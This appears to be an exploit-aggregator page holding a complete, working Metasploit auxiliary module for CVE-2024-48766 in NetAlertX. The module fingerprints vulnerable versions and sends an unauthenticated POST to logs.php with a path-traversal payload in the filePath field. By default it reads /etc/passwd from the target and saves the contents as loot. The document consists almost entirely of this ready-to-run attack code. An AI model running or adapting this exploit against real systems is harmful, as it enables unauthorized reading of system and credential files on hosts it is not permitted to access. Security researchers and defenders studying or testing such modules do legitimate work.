Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-HTTP-NETALERTX_FILE_READ-
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => ' NetAlertX File Read Vulnerability',
'Description' => %q{
This module exploits improper authentication in logs.php endpoint. An unathenticated attacker can request log file and read any file due path traversal vulnerability.
},
'References' => [
['CVE', '2024-48766'],
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/']
],
'Author' => [
'chebuya', # Vulnerability discovery
'msutovsky-r7' # Metasploit module
],
'DisclosureDate' => '2025-01-30',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(20211),
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 5])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'maintenance.php')
})
return Exploit::CheckCode::Unknown unless res&.code == 200
html_document = res.get_html_document
return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?
version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?
version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('24.7.18'), Rex::Version.new('24.9.12'))
Exploit::CheckCode::Appears("Version #{version} detected.")
end
def run_host(ip)
traversal = '../' * datastore['DEPTH']
filepath = datastore['FILEPATH']
dummyfilename = Rex::Text.rand_text_alphanumeric(6)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/php/components/logs.php'),
'vars_post' =>
{
'items' => %([{"buttons":[{"labelStringCode":"Maint_PurgeLog","event":"logManage(app.log, cleanLog)"},{"labelStringCode":"Maint_RestartServer","event":"askRestartBackend()"}],"fileName":"#{dummyfilename}","filePath":"#{traversal}#{filepath}","textAreaCssClass":"logs"}])
}
})
fail_with Failure::Unreachable, 'Connection failed' unless res
fail_with Failure::NotVulnerable, 'Unexpected response code' unless res&.code == 200
fail_with Failure::NotVulnerable, 'Unexpected response' if res&.body.blank?
html = res.get_html_document
fail_with Failure::NotVulnerable, 'No HTML body' if html.blank?
log_data = html.at('textarea')
fail_with Failure::PayloadFailed, 'No data' if log_data&.blank? || log_data&.text&.empty?
print_status 'Received data:'
print_status log_data.text
loot_path = store_loot(
'netalert.results',
'text/plain',
ip,
log_data.text,
"netalert-#{filepath}.txt",
'NetAlertX'
)
print_status "Stored results in #{loot_path}"
report_vuln({
host: rhost,
port: rport,
name: name,
refs: references,
info: "Module #{fullname} successfully leaked file"
})
end
end